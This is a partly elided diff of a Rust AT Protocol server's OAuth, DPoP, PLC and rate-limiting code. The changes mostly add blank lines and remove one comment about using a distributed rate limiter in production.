 impl DPoPVerifier {
     pub fn new(secret: &[u8]) -> Self {
         Self {
             secret: secret.to_vec(),
         }
     }
+
     pub fn generate_nonce(&self) -> String {
         let timestamp = Utc::now().timestamp();
         let timestamp_bytes = timestamp.to_be_bytes();
···
         nonce_data.extend_from_slice(&hash[..16]);
         URL_SAFE_NO_PAD.encode(&nonce_data)
     }
+
     pub fn validate_nonce(&self, nonce: &str) -> Result<(), OAuthError> {
         let nonce_bytes = URL_SAFE_NO_PAD
             .decode(nonce)
···
         }
         Ok(())
     }
+
     pub fn verify_proof(
         &self,
         dpop_header: &str,
···
         })
     }
 }
+
 fn verify_dpop_signature(
     alg: &str,
     jwk: &DPoPJwk,
···
         ))),
     }
 }
+
 fn verify_es256(jwk: &DPoPJwk, message: &[u8], signature: &[u8]) -> Result<(), OAuthError> {
     use p256::ecdsa::signature::Verifier;
     use p256::ecdsa::{Signature, VerifyingKey};
···
         .verify(message, &sig)
         .map_err(|_| OAuthError::InvalidDpopProof("Signature verification failed".to_string()))
 }
+
 fn verify_es384(jwk: &DPoPJwk, message: &[u8], signature: &[u8]) -> Result<(), OAuthError> {
     use p384::ecdsa::signature::Verifier;
     use p384::ecdsa::{Signature, VerifyingKey};
···
         .verify(message, &sig)
         .map_err(|_| OAuthError::InvalidDpopProof("Signature verification failed".to_string()))
 }
+
 fn verify_eddsa(jwk: &DPoPJwk, message: &[u8], signature: &[u8]) -> Result<(), OAuthError> {
     use ed25519_dalek::{Signature, VerifyingKey};
     let crv = jwk.crv.as_ref().ok_or_else(|| {
···
         .verify_strict(message, &sig)
         .map_err(|_| OAuthError::InvalidDpopProof("Signature verification failed".to_string()))
 }
+
 pub fn compute_jwk_thumbprint(jwk: &DPoPJwk) -> Result<String, OAuthError> {
     let canonical = match jwk.kty.as_str() {
         "EC" => {
···
     let hash = hasher.finalize();
     Ok(URL_SAFE_NO_PAD.encode(&hash))
 }
+
 pub fn compute_access_token_hash(access_token: &str) -> String {
     let mut hasher = Sha256::new();
     hasher.update(access_token.as_bytes());
     let hash = hasher.finalize();
     URL_SAFE_NO_PAD.encode(&hash)
 }
+
 #[cfg(test)]
 mod tests {
     use super::*;
+
     #[test]
     fn test_nonce_generation_and_validation() {
         let secret = b"test-secret-key-32-bytes-long!!!";
···
         let nonce = verifier.generate_nonce();
         assert!(verifier.validate_nonce(&nonce).is_ok());
     }
+
     #[test]
     fn test_jwk_thumbprint_ec() {
         let jwk = DPoPJwk {

src/oauth/endpoints/authorize.rs

···
 use crate::state::{AppState, RateLimitKind};
 use crate::oauth::{Code, DeviceAccount, DeviceData, DeviceId, OAuthError, SessionId, db, templates};
 use crate::notifications::{NotificationChannel, channel_display_name, enqueue_2fa_code};
+
 const DEVICE_COOKIE_NAME: &str = "oauth_device_id";
+
 fn extract_device_cookie(headers: &HeaderMap) -> Option<String> {
     headers
         .get("cookie")
···
             None
         })
 }
+
 fn extract_client_ip(headers: &HeaderMap) -> String {
     if let Some(forwarded) = headers.get("x-forwarded-for") {
         if let Ok(value) = forwarded.to_str() {
···
     }
     "0.0.0.0".to_string()
 }
+
 fn extract_user_agent(headers: &HeaderMap) -> Option<String> {
     headers
         .get("user-agent")
         .and_then(|v| v.to_str().ok())
         .map(|s| s.to_string())
 }
+
 fn make_device_cookie(device_id: &str) -> String {
     format!(
         "{}={}; Path=/oauth; HttpOnly; Secure; SameSite=Lax; Max-Age=31536000",
···
         device_id
     )
 }
+
 #[derive(Debug, Deserialize)]
 pub struct AuthorizeQuery {
     pub request_uri: Option<String>,
     pub client_id: Option<String>,
     pub new_account: Option<bool>,
 }
+
 #[derive(Debug, Serialize)]
 pub struct AuthorizeResponse {
     pub client_id: String,
···
     pub state: Option<String>,
     pub login_hint: Option<String>,
 }
+
 #[derive(Debug, Deserialize)]
 pub struct AuthorizeSubmit {
     pub request_uri: String,
···
     #[serde(default)]
     pub remember_device: bool,
 }
+
 #[derive(Debug, Deserialize)]
 pub struct AuthorizeSelectSubmit {
     pub request_uri: String,
     pub did: String,
 }
+
 fn wants_json(headers: &HeaderMap) -> bool {
     headers
         .get("accept")
···
         .map(|accept| accept.contains("application/json"))
         .unwrap_or(false)
 }
+
 pub async fn authorize_get(
     State(state): State<AppState>,
     headers: HeaderMap,
···
         request_data.parameters.login_hint.as_deref(),
     )).into_response()
 }
+
 pub async fn authorize_get_json(
     State(state): State<AppState>,
     Query(query): Query<AuthorizeQuery>,
···
         login_hint: request_data.parameters.login_hint.clone(),
     }))
 }
+
 pub async fn authorize_post(
     State(state): State<AppState>,
     headers: HeaderMap,
···
         redirect.into_response()
     }
 }
+
 pub async fn authorize_select(
     State(state): State<AppState>,
     headers: HeaderMap,
···
     );
     Redirect::temporary(&redirect_url).into_response()
 }
+
 fn build_success_redirect(redirect_uri: &str, code: &str, state: Option<&str>) -> String {
     let mut redirect_url = redirect_uri.to_string();
     let separator = if redirect_url.contains('?') { '&' } else { '?' };
···
     redirect_url.push_str(&format!("&iss={}", url_encode(&format!("https://{}", pds_hostname))));
     redirect_url
 }
+
 #[derive(Debug, Serialize)]
 pub struct AuthorizeDenyResponse {
     pub error: String,
     pub error_description: String,
 }
+
 pub async fn authorize_deny(
     State(state): State<AppState>,
     Form(form): Form<AuthorizeDenyForm>,
···
     }
     Ok(Redirect::temporary(&redirect_url).into_response())
 }
+
 #[derive(Debug, Deserialize)]
 pub struct AuthorizeDenyForm {
     pub request_uri: String,
 }
+
 #[derive(Debug, Deserialize)]
 pub struct Authorize2faQuery {
     pub request_uri: String,
     pub channel: Option<String>,
 }
+
 #[derive(Debug, Deserialize)]
 pub struct Authorize2faSubmit {
     pub request_uri: String,
     pub code: String,
 }
+
 const MAX_2FA_ATTEMPTS: i32 = 5;
+
 pub async fn authorize_2fa_get(
     State(state): State<AppState>,
     Query(query): Query<Authorize2faQuery>,
···
         None,
     )).into_response()
 }
+
 pub async fn authorize_2fa_post(
     State(state): State<AppState>,
     headers: HeaderMap,

src/oauth/endpoints/metadata.rs

···
 use serde::{Deserialize, Serialize};
 use crate::state::AppState;
 use crate::oauth::jwks::{JwkSet, create_jwk_set};
+
 #[derive(Debug, Serialize, Deserialize)]
 pub struct ProtectedResourceMetadata {
     pub resource: String,
···
     #[serde(skip_serializing_if = "Option::is_none")]
     pub resource_documentation: Option<String>,
 }
+
 #[derive(Debug, Serialize, Deserialize)]
 pub struct AuthorizationServerMetadata {
     pub issuer: String,
···
     #[serde(skip_serializing_if = "Option::is_none")]
     pub introspection_endpoint: Option<String>,
 }
+
 pub async fn oauth_protected_resource(
     State(_state): State<AppState>,
 ) -> Json<ProtectedResourceMetadata> {
···
         resource_documentation: Some("https://atproto.com".to_string()),
     })
 }
+
 pub async fn oauth_authorization_server(
     State(_state): State<AppState>,
 ) -> Json<AuthorizationServerMetadata> {
···
         introspection_endpoint: Some(format!("{}/oauth/introspect", issuer)),
     })
 }
+
 pub async fn oauth_jwks(State(_state): State<AppState>) -> Json<JwkSet> {
     use crate::config::AuthConfig;
     use crate::oauth::jwks::Jwk;

src/oauth/endpoints/mod.rs

···
 pub mod par;
 pub mod authorize;
 pub mod token;
+
 pub use metadata::*;
 pub use par::*;
 pub use authorize::*;

src/oauth/endpoints/par.rs

···
     client::ClientMetadataCache,
     db,
 };
+
 const PAR_EXPIRY_SECONDS: i64 = 600;
 const SUPPORTED_SCOPES: &[&str] = &["atproto", "transition:generic", "transition:chat.bsky"];
+
 #[derive(Debug, Deserialize)]
 pub struct ParRequest {
     pub response_type: String,
···
     #[serde(default)]
     pub client_assertion_type: Option<String>,
 }
+
 #[derive(Debug, Serialize)]
 pub struct ParResponse {
     pub request_uri: String,
     pub expires_in: u64,
 }
+
 pub async fn pushed_authorization_request(
     State(state): State<AppState>,
     headers: HeaderMap,
···
         expires_in: PAR_EXPIRY_SECONDS as u64,
     }))
 }
+
 fn determine_client_auth(request: &ParRequest) -> Result<ClientAuth, OAuthError> {
     if let (Some(assertion), Some(assertion_type)) =
         (&request.client_assertion, &request.client_assertion_type)
···
     }
     Ok(ClientAuth::None)
 }
+
 fn validate_scope(
     requested_scope: &Option<String>,
     client_metadata: &crate::oauth::client::ClientMetadata,

src/oauth/endpoints/token/grants.rs

···
 };
 use super::types::{TokenRequest, TokenResponse};
 use super::helpers::{create_access_token, verify_pkce};
+
 const ACCESS_TOKEN_EXPIRY_SECONDS: i64 = 3600;
 const REFRESH_TOKEN_EXPIRY_DAYS: i64 = 60;
+
 pub async fn handle_authorization_code_grant(
     state: AppState,
     _headers: HeaderMap,
···
         }),
     ))
 }
+
 pub async fn handle_refresh_token_grant(
     state: AppState,
     _headers: HeaderMap,

src/oauth/endpoints/token/helpers.rs

···
 use subtle::ConstantTimeEq;
 use crate::config::AuthConfig;
 use crate::oauth::OAuthError;
+
 const ACCESS_TOKEN_EXPIRY_SECONDS: i64 = 3600;
+
 pub struct TokenClaims {
     pub jti: String,
     pub exp: i64,
     pub iat: i64,
 }
+
 pub fn verify_pkce(code_challenge: &str, code_verifier: &str) -> Result<(), OAuthError> {
     let mut hasher = Sha256::new();
     hasher.update(code_verifier.as_bytes());
···
     }
     Ok(())
 }
+
 pub fn create_access_token(
     token_id: &str,
     sub: &str,
···
     let signature_b64 = URL_SAFE_NO_PAD.encode(&signature);
     Ok(format!("{}.{}", signing_input, signature_b64))
 }
+
 pub fn extract_token_claims(token: &str) -> Result<TokenClaims, OAuthError> {
     let parts: Vec<&str> = token.split('.').collect();
     if parts.len() != 3 {

src/oauth/endpoints/token/introspect.rs

···
 use crate::state::{AppState, RateLimitKind};
 use crate::oauth::{OAuthError, db};
 use super::helpers::extract_token_claims;
+
 #[derive(Debug, Deserialize)]
 pub struct RevokeRequest {
     pub token: Option<String>,
     #[serde(default)]
     pub token_type_hint: Option<String>,
 }
+
 pub async fn revoke_token(
     State(state): State<AppState>,
     headers: HeaderMap,
···
     }
     Ok(StatusCode::OK)
 }
+
 #[derive(Debug, Deserialize)]
 pub struct IntrospectRequest {
     pub token: String,
     #[serde(default)]
     pub token_type_hint: Option<String>,
 }
+
 #[derive(Debug, Serialize)]
 pub struct IntrospectResponse {
     pub active: bool,
···
     #[serde(skip_serializing_if = "Option::is_none")]
     pub jti: Option<String>,
 }
+
 pub async fn introspect_token(
     State(state): State<AppState>,
     headers: HeaderMap,

src/oauth/endpoints/token/mod.rs

···
 mod helpers;
 mod introspect;
 mod types;
+
 use axum::{
     Form, Json,
     extract::State,
···
 };
 use crate::state::{AppState, RateLimitKind};
 use crate::oauth::OAuthError;
+
 pub use grants::{handle_authorization_code_grant, handle_refresh_token_grant};
 pub use helpers::{create_access_token, extract_token_claims, verify_pkce, TokenClaims};
 pub use introspect::{
     introspect_token, revoke_token, IntrospectRequest, IntrospectResponse, RevokeRequest,
 };
 pub use types::{TokenRequest, TokenResponse};
+
 fn extract_client_ip(headers: &HeaderMap) -> String {
     if let Some(forwarded) = headers.get("x-forwarded-for") {
         if let Ok(value) = forwarded.to_str() {
···
     }
     "unknown".to_string()
 }
+
 pub async fn token_endpoint(
     State(state): State<AppState>,
     headers: HeaderMap,

src/oauth/endpoints/token/types.rs

···
 use serde::{Deserialize, Serialize};
+
 #[derive(Debug, Deserialize)]
 pub struct TokenRequest {
     pub grant_type: String,
···
     #[serde(default)]
     pub client_assertion_type: Option<String>,
 }
+
 #[derive(Debug, Serialize)]
 pub struct TokenResponse {
     pub access_token: String,

src/oauth/error.rs

···
     response::{IntoResponse, Response},
 };
 use serde::Serialize;
+
 #[derive(Debug)]
 pub enum OAuthError {
     InvalidRequest(String),
···
     InvalidToken(String),
     RateLimited,
 }
+
 #[derive(Serialize)]
 struct OAuthErrorResponse {
     error: String,
     error_description: Option<String>,
 }
+
 impl IntoResponse for OAuthError {
     fn into_response(self) -> Response {
         let (status, error, description) = match self {
···
             .into_response()
     }
 }
+
 impl From<sqlx::Error> for OAuthError {
     fn from(err: sqlx::Error) -> Self {
         tracing::error!("Database error in OAuth flow: {}", err);
         OAuthError::ServerError("An internal error occurred".to_string())
     }
 }
+
 impl From<anyhow::Error> for OAuthError {
     fn from(err: anyhow::Error) -> Self {
         tracing::error!("Internal error in OAuth flow: {}", err);

src/oauth/jwks.rs

···
 use serde::{Deserialize, Serialize};
+
 #[derive(Debug, Clone, Serialize, Deserialize)]
 pub struct JwkSet {
     pub keys: Vec<Jwk>,
 }
+
 #[derive(Debug, Clone, Serialize, Deserialize)]
 pub struct Jwk {
     pub kty: String,
···
     #[serde(skip_serializing_if = "Option::is_none")]
     pub y: Option<String>,
 }
+
 pub fn create_jwk_set(keys: Vec<Jwk>) -> JwkSet {
     JwkSet { keys }
 }

src/oauth/mod.rs

···
 pub mod error;
 pub mod templates;
 pub mod verify;
+
 pub use types::*;
 pub use error::OAuthError;
 pub use verify::{verify_oauth_access_token, generate_dpop_nonce, VerifyResult, OAuthUser, OAuthAuthError};

src/oauth/templates.rs

···
 use chrono::{DateTime, Utc};
+
 fn base_styles() -> &'static str {
     r#"
         :root {
···
         }
     "#
 }
+
 pub fn login_page(
     client_id: &str,
     client_name: Option<&str>,
···
         login_hint_value = html_escape(login_hint_value),
     )
 }
+
 pub struct DeviceAccount {
     pub did: String,
     pub handle: String,
     pub email: Option<String>,
     pub last_used_at: DateTime<Utc>,
 }
+
 pub fn account_selector_page(
     client_id: &str,
     client_name: Option<&str>,
···
         request_uri_encoded = urlencoding::encode(request_uri),
     )
 }
+
 pub fn two_factor_page(
     request_uri: &str,
     channel: &str,
···
         error_html = error_html,
     )
 }
+
 pub fn error_page(error: &str, error_description: Option<&str>) -> String {
     let description = error_description.unwrap_or("An error occurred during the authorization process.");
     format!(
···
         description = html_escape(description),
     )
 }
+
 pub fn success_page(client_name: Option<&str>) -> String {
     let client_display = client_name.unwrap_or("The application");
     format!(
···
         client_display = html_escape(client_display),
     )
 }
+
 fn html_escape(s: &str) -> String {
     s.replace('&', "&amp;")
         .replace('<', "&lt;")
···
         .replace('"', "&quot;")
         .replace('\'', "&#39;")
 }
+
 fn get_initials(handle: &str) -> String {
     let clean = handle.trim_start_matches('@');
     if clean.is_empty() {
···
     }
     clean.chars().next().unwrap_or('?').to_uppercase().to_string()
 }
+
 pub fn mask_email(email: &str) -> String {
     if let Some(at_pos) = email.find('@') {
         let local = &email[..at_pos];

src/oauth/types.rs

···
 use chrono::{DateTime, Utc};
 use serde::{Deserialize, Serialize};
 use serde_json::Value as JsonValue;
+
 #[derive(Debug, Clone, Serialize, Deserialize)]
 pub struct RequestId(pub String);
+
 #[derive(Debug, Clone, Serialize, Deserialize)]
 pub struct TokenId(pub String);
+
 #[derive(Debug, Clone, Serialize, Deserialize)]
 pub struct DeviceId(pub String);
+
 #[derive(Debug, Clone, Serialize, Deserialize)]
 pub struct SessionId(pub String);
+
 #[derive(Debug, Clone, Serialize, Deserialize)]
 pub struct Code(pub String);
+
 #[derive(Debug, Clone, Serialize, Deserialize)]
 pub struct RefreshToken(pub String);
+
 impl RequestId {
     pub fn generate() -> Self {
         Self(format!("urn:ietf:params:oauth:request_uri:{}", uuid::Uuid::new_v4()))
     }
 }
+
 impl TokenId {
     pub fn generate() -> Self {
         Self(uuid::Uuid::new_v4().to_string())
     }
 }
+
 impl DeviceId {
     pub fn generate() -> Self {
         Self(uuid::Uuid::new_v4().to_string())
     }
 }
+
 impl SessionId {
     pub fn generate() -> Self {
         Self(uuid::Uuid::new_v4().to_string())
     }
 }
+
 impl Code {
     pub fn generate() -> Self {
         use rand::Rng;
···
         ))
     }
 }
+
 impl RefreshToken {
     pub fn generate() -> Self {
         use rand::Rng;
···
         ))
     }
 }
+
 #[derive(Debug, Clone, Serialize, Deserialize)]
 #[serde(tag = "method")]
 pub enum ClientAuth {
···
     #[serde(rename = "private_key_jwt")]
     PrivateKeyJwt { client_assertion: String },
 }
+
 #[derive(Debug, Clone, Serialize, Deserialize)]
 pub struct AuthorizationRequestParameters {
     pub response_type: String,
···
     #[serde(flatten)]
     pub extra: Option<JsonValue>,
 }
+
 #[derive(Debug, Clone)]
 pub struct RequestData {
     pub client_id: String,
···
     pub device_id: Option<String>,
     pub code: Option<String>,
 }
+
 #[derive(Debug, Clone)]
 pub struct DeviceData {
     pub session_id: String,
···
     pub ip_address: String,
     pub last_seen_at: DateTime<Utc>,
 }
+
 #[derive(Debug, Clone)]
 pub struct TokenData {
     pub did: String,
···
     pub current_refresh_token: Option<String>,
     pub scope: Option<String>,
 }
+
 #[derive(Debug, Clone, Serialize, Deserialize)]
 pub struct AuthorizedClientData {
     pub scope: Option<String>,
     pub remember: bool,
 }
+
 #[derive(Debug, Clone, Serialize, Deserialize)]
 pub struct OAuthClientMetadata {
     pub client_id: String,
···
     pub jwks_uri: Option<String>,
     pub application_type: Option<String>,
 }
+
 #[derive(Debug, Clone, Serialize, Deserialize)]
 pub struct ProtectedResourceMetadata {
     pub resource: String,
···
     pub scopes_supported: Vec<String>,
     pub resource_documentation: Option<String>,
 }
+
 #[derive(Debug, Clone, Serialize, Deserialize)]
 pub struct AuthorizationServerMetadata {
     pub issuer: String,
···
     pub dpop_signing_alg_values_supported: Option<Vec<String>>,
     pub authorization_response_iss_parameter_supported: Option<bool>,
 }
+
 #[derive(Debug, Clone, Serialize, Deserialize)]
 pub struct ParResponse {
     pub request_uri: String,
     pub expires_in: u64,
 }
+
 #[derive(Debug, Clone, Serialize, Deserialize)]
 pub struct TokenResponse {
     pub access_token: String,
···
     #[serde(skip_serializing_if = "Option::is_none")]
     pub sub: Option<String>,
 }
+
 #[derive(Debug, Clone, Serialize, Deserialize)]
 pub struct TokenRequest {
     pub grant_type: String,
···
     pub client_id: Option<String>,
     pub client_secret: Option<String>,
 }
+
 #[derive(Debug, Clone, Serialize, Deserialize)]
 pub struct DPoPClaims {
     pub jti: String,
···
     #[serde(skip_serializing_if = "Option::is_none")]
     pub nonce: Option<String>,
 }
+
 #[derive(Debug, Clone, Serialize, Deserialize)]
 pub struct JwkPublicKey {
     pub kty: String,
···
     pub kid: Option<String>,
     pub alg: Option<String>,
 }
+
 #[derive(Debug, Clone, Serialize, Deserialize)]
 pub struct Jwks {
     pub keys: Vec<JwkPublicKey>,

src/oauth/verify.rs

···
 use sha2::Sha256;
 use sqlx::PgPool;
 use subtle::ConstantTimeEq;
+
 use crate::config::AuthConfig;
 use crate::state::AppState;
 use super::db;
 use super::dpop::DPoPVerifier;
 use super::OAuthError;
+
 pub struct OAuthTokenInfo {
     pub did: String,
     pub token_id: String,
···
     pub scope: Option<String>,
     pub dpop_jkt: Option<String>,
 }
+
 pub struct VerifyResult {
     pub did: String,
     pub token_id: String,
     pub client_id: String,
     pub scope: Option<String>,
 }
+
 pub async fn verify_oauth_access_token(
     pool: &PgPool,
     access_token: &str,
···
         scope: token_data.scope,
     })
 }
+
 pub fn extract_oauth_token_info(token: &str) -> Result<OAuthTokenInfo, OAuthError> {
     let parts: Vec<&str> = token.split('.').collect();
     if parts.len() != 3 {
···
         dpop_jkt,
     })
 }
+
 fn compute_ath(access_token: &str) -> String {
     use sha2::Digest;
     let mut hasher = Sha256::new();
···
     let hash = hasher.finalize();
     URL_SAFE_NO_PAD.encode(&hash)
 }
+
 pub fn generate_dpop_nonce() -> String {
     let config = AuthConfig::get();
     let verifier = DPoPVerifier::new(config.dpop_secret().as_bytes());
     verifier.generate_nonce()
 }
+
 pub struct OAuthUser {
     pub did: String,
     pub client_id: Option<String>,
     pub scope: Option<String>,
     pub is_oauth: bool,
 }
+
 pub struct OAuthAuthError {
     pub status: StatusCode,
     pub error: String,
     pub message: String,
     pub dpop_nonce: Option<String>,
 }
+
 impl IntoResponse for OAuthAuthError {
     fn into_response(self) -> Response {
         let mut response = (
···
         response
     }
 }
+
 impl FromRequestParts<AppState> for OAuthUser {
     type Rejection = OAuthAuthError;
+
     async fn from_request_parts(parts: &mut Parts, state: &AppState) -> Result<Self, Self::Rejection> {
         let auth_header = parts
             .headers
···
         }
     }
 }
+
 struct LegacyAuthResult {
     did: String,
 }
+
 async fn try_legacy_auth(pool: &PgPool, token: &str) -> Result<LegacyAuthResult, ()> {
     match crate::auth::validate_bearer_token(pool, token).await {
         Ok(user) if !user.is_oauth => Ok(LegacyAuthResult { did: user.did }),

src/plc/mod.rs

···
 use std::collections::HashMap;
 use std::time::Duration;
 use thiserror::Error;
+
 #[derive(Error, Debug)]
 pub enum PlcError {
     #[error("HTTP request failed: {0}")]
···
     #[error("Service unavailable (circuit breaker open)")]
     CircuitBreakerOpen,
 }
+
 #[derive(Debug, Clone, Serialize, Deserialize)]
 pub struct PlcOperation {
     #[serde(rename = "type")]
···
     #[serde(skip_serializing_if = "Option::is_none")]
     pub sig: Option<String>,
 }
+
 #[derive(Debug, Clone, Serialize, Deserialize)]
 pub struct PlcService {
     #[serde(rename = "type")]
     pub service_type: String,
     pub endpoint: String,
 }
+
 #[derive(Debug, Clone, Serialize, Deserialize)]
 pub struct PlcTombstone {
     #[serde(rename = "type")]
···
     #[serde(skip_serializing_if = "Option::is_none")]
     pub sig: Option<String>,
 }
+
 #[derive(Debug, Clone, Serialize, Deserialize)]
 #[serde(untagged)]
 pub enum PlcOpOrTombstone {
     Operation(PlcOperation),
     Tombstone(PlcTombstone),
 }
+
 impl PlcOpOrTombstone {
     pub fn is_tombstone(&self) -> bool {
         match self {
···
         }
     }
 }
+
 pub struct PlcClient {
     base_url: String,
     client: Client,
 }
+
 impl PlcClient {
     pub fn new(base_url: Option<String>) -> Self {
         let base_url = base_url.unwrap_or_else(|| {
···
             client,
         }
     }
+
     fn encode_did(did: &str) -> String {
         urlencoding::encode(did).to_string()
     }
+
     pub async fn get_document(&self, did: &str) -> Result<Value, PlcError> {
         let url = format!("{}/{}", self.base_url, Self::encode_did(did));
         let response = self.client.get(&url).send().await?;
···
         }
         response.json().await.map_err(|e| PlcError::InvalidResponse(e.to_string()))
     }
+
     pub async fn get_document_data(&self, did: &str) -> Result<Value, PlcError> {
         let url = format!("{}/{}/data", self.base_url, Self::encode_did(did));
         let response = self.client.get(&url).send().await?;
···
         }
         response.json().await.map_err(|e| PlcError::InvalidResponse(e.to_string()))
     }
+
     pub async fn get_last_op(&self, did: &str) -> Result<PlcOpOrTombstone, PlcError> {
         let url = format!("{}/{}/log/last", self.base_url, Self::encode_did(did));
         let response = self.client.get(&url).send().await?;
···
         }
         response.json().await.map_err(|e| PlcError::InvalidResponse(e.to_string()))
     }
+
     pub async fn get_audit_log(&self, did: &str) -> Result<Vec<Value>, PlcError> {
         let url = format!("{}/{}/log/audit", self.base_url, Self::encode_did(did));
         let response = self.client.get(&url).send().await?;
···
         }
         response.json().await.map_err(|e| PlcError::InvalidResponse(e.to_string()))
     }
+
     pub async fn send_operation(&self, did: &str, operation: &Value) -> Result<(), PlcError> {
         let url = format!("{}/{}", self.base_url, Self::encode_did(did));
         let response = self.client
···
         Ok(())
     }
 }
+
 pub fn cid_for_cbor(value: &Value) -> Result<String, PlcError> {
     let cbor_bytes = serde_ipld_dagcbor::to_vec(value)
         .map_err(|e| PlcError::Serialization(e.to_string()))?;
···
     let cid = cid::Cid::new_v1(0x71, multihash);
     Ok(cid.to_string())
 }
+
 pub fn sign_operation(
     operation: &Value,
     signing_key: &SigningKey,
···
     }
     Ok(op)
 }
+
 pub fn create_update_op(
     last_op: &PlcOpOrTombstone,
     rotation_keys: Option<Vec<String>>,
···
     };
     serde_json::to_value(new_op).map_err(|e| PlcError::Serialization(e.to_string()))
 }
+
 pub fn signing_key_to_did_key(signing_key: &SigningKey) -> String {
     let verifying_key = signing_key.verifying_key();
     let point = verifying_key.to_encoded_point(true);
···
     let encoded = multibase::encode(multibase::Base::Base58Btc, &prefixed);
     format!("did:key:{}", encoded)
 }
+
 pub struct GenesisResult {
     pub did: String,
     pub signed_operation: Value,
 }
+
 pub fn create_genesis_operation(
     signing_key: &SigningKey,
     rotation_key: &str,
···
         signed_operation: signed_op,
     })
 }
+
 pub fn did_for_genesis_op(signed_op: &Value) -> Result<String, PlcError> {
     let cbor_bytes = serde_ipld_dagcbor::to_vec(signed_op)
         .map_err(|e| PlcError::Serialization(e.to_string()))?;
···
     let truncated = &encoded[..24];
     Ok(format!("did:plc:{}", truncated))
 }
+
 pub fn validate_plc_operation(op: &Value) -> Result<(), PlcError> {
     let obj = op.as_object()
         .ok_or_else(|| PlcError::InvalidResponse("Operation must be an object".to_string()))?;
···
     }
     Ok(())
 }
+
 pub struct PlcValidationContext {
     pub server_rotation_key: String,
     pub expected_signing_key: String,
     pub expected_handle: String,
     pub expected_pds_endpoint: String,
 }
+
 pub fn validate_plc_operation_for_submission(
     op: &Value,
     ctx: &PlcValidationContext,
···
     }
     Ok(())
 }
+
 pub fn verify_operation_signature(
     op: &Value,
     rotation_keys: &[String],
···
     }
     Ok(false)
 }
+
 fn verify_signature_with_did_key(
     did_key: &str,
     message: &[u8],
···
         .map_err(|e| PlcError::InvalidResponse(format!("Invalid public key: {}", e)))?;
     Ok(verifying_key.verify(message, signature).is_ok())
 }
+
 #[cfg(test)]
 mod tests {
     use super::*;
+
     #[test]
     fn test_signing_key_to_did_key() {
         let key = SigningKey::random(&mut rand::thread_rng());
         let did_key = signing_key_to_did_key(&key);
         assert!(did_key.starts_with("did:key:z"));
     }
+
     #[test]
     fn test_cid_for_cbor() {
         let value = json!({
···
         let cid = cid_for_cbor(&value).unwrap();
         assert!(cid.starts_with("bafyrei"));
     }
+
     #[test]
     fn test_sign_operation() {
         let key = SigningKey::random(&mut rand::thread_rng());

src/rate_limit.rs

···
     num::NonZeroU32,
     sync::Arc,
 };
+
 pub type KeyedRateLimiter = RateLimiter<String, DefaultKeyedStateStore<String>, DefaultClock>;
 pub type GlobalRateLimiter = RateLimiter<NotKeyed, InMemoryState, DefaultClock>;
-// NOTE: For production deployments with high traffic, prefer using the distributed rate
-// limiter (Redis/Valkey-based) via AppState::distributed_rate_limiter. The in-memory
-// rate limiters here don't automatically clean up expired entries, which can cause
-// memory growth over time with many unique client IPs. The distributed rate limiter
-// uses Redis TTL for automatic cleanup and works correctly across multiple instances.
+
 #[derive(Clone)]
 pub struct RateLimiters {
     pub login: Arc<KeyedRateLimiter>,
···
     pub app_password: Arc<KeyedRateLimiter>,
     pub email_update: Arc<KeyedRateLimiter>,
 }
+
 impl Default for RateLimiters {
     fn default() -> Self {
         Self::new()
     }
 }
+
 impl RateLimiters {
     pub fn new() -> Self {
         Self {
···
             )),
         }
     }
+
     pub fn with_login_limit(mut self, per_minute: u32) -> Self {
         self.login = Arc::new(RateLimiter::keyed(
             Quota::per_minute(NonZeroU32::new(per_minute).unwrap_or(NonZeroU32::new(10).unwrap()))
         ));
         self
     }
+
     pub fn with_oauth_token_limit(mut self, per_minute: u32) -> Self {
         self.oauth_token = Arc::new(RateLimiter::keyed(
             Quota::per_minute(NonZeroU32::new(per_minute).unwrap_or(NonZeroU32::new(30).unwrap()))
         ));
         self
     }
+
     pub fn with_oauth_authorize_limit(mut self, per_minute: u32) -> Self {
         self.oauth_authorize = Arc::new(RateLimiter::keyed(
             Quota::per_minute(NonZeroU32::new(per_minute).unwrap_or(NonZeroU32::new(10).unwrap()))
         ));
         self
     }
+
     pub fn with_password_reset_limit(mut self, per_hour: u32) -> Self {
         self.password_reset = Arc::new(RateLimiter::keyed(
             Quota::per_hour(NonZeroU32::new(per_hour).unwrap_or(NonZeroU32::new(5).unwrap()))
         ));
         self
     }
+
     pub fn with_account_creation_limit(mut self, per_hour: u32) -> Self {
         self.account_creation = Arc::new(RateLimiter::keyed(
             Quota::per_hour(NonZeroU32::new(per_hour).unwrap_or(NonZeroU32::new(10).unwrap()))
         ));
         self
     }
+
     pub fn with_email_update_limit(mut self, per_hour: u32) -> Self {
         self.email_update = Arc::new(RateLimiter::keyed(
             Quota::per_hour(NonZeroU32::new(per_hour).unwrap_or(NonZeroU32::new(5).unwrap()))
···
         self
     }
 }
+
 pub fn extract_client_ip(headers: &HeaderMap, addr: Option<SocketAddr>) -> String {
     if let Some(forwarded) = headers.get("x-forwarded-for") {
         if let Ok(value) = forwarded.to_str() {
···
             }
         }
     }
+
     if let Some(real_ip) = headers.get("x-real-ip") {
         if let Ok(value) = real_ip.to_str() {
             return value.trim().to_string();
         }
     }
+
     addr.map(|a| a.ip().to_string()).unwrap_or_else(|| "unknown".to_string())
 }
+
 fn rate_limit_response() -> Response {
     (
         StatusCode::TOO_MANY_REQUESTS,
···
     )
         .into_response()
 }
+
 pub async fn login_rate_limit(
     ConnectInfo(addr): ConnectInfo<SocketAddr>,
     axum::extract::State(limiters): axum::extract::State<Arc<RateLimiters>>,
···
     next: Next,
 ) -> Response {
     let client_ip = extract_client_ip(request.headers(), Some(addr));
+
     if limiters.login.check_key(&client_ip).is_err() {
         tracing::warn!(ip = %client_ip, "Login rate limit exceeded");
         return rate_limit_response();
     }
+
     next.run(request).await
 }
+
 pub async fn oauth_token_rate_limit(
     ConnectInfo(addr): ConnectInfo<SocketAddr>,
     axum::extract::State(limiters): axum::extract::State<Arc<RateLimiters>>,
···
     next: Next,
 ) -> Response {
     let client_ip = extract_client_ip(request.headers(), Some(addr));
+
     if limiters.oauth_token.check_key(&client_ip).is_err() {
         tracing::warn!(ip = %client_ip, "OAuth token rate limit exceeded");
         return rate_limit_response();
     }
+
     next.run(request).await
 }
+
 pub async fn password_reset_rate_limit(
     ConnectInfo(addr): ConnectInfo<SocketAddr>,
     axum::extract::State(limiters): axum::extract::State<Arc<RateLimiters>>,
···
     next: Next,
 ) -> Response {
     let client_ip = extract_client_ip(request.headers(), Some(addr));
+
     if limiters.password_reset.check_key(&client_ip).is_err() {
         tracing::warn!(ip = %client_ip, "Password reset rate limit exceeded");
         return rate_limit_response();
     }
+
     next.run(request).await
 }
+
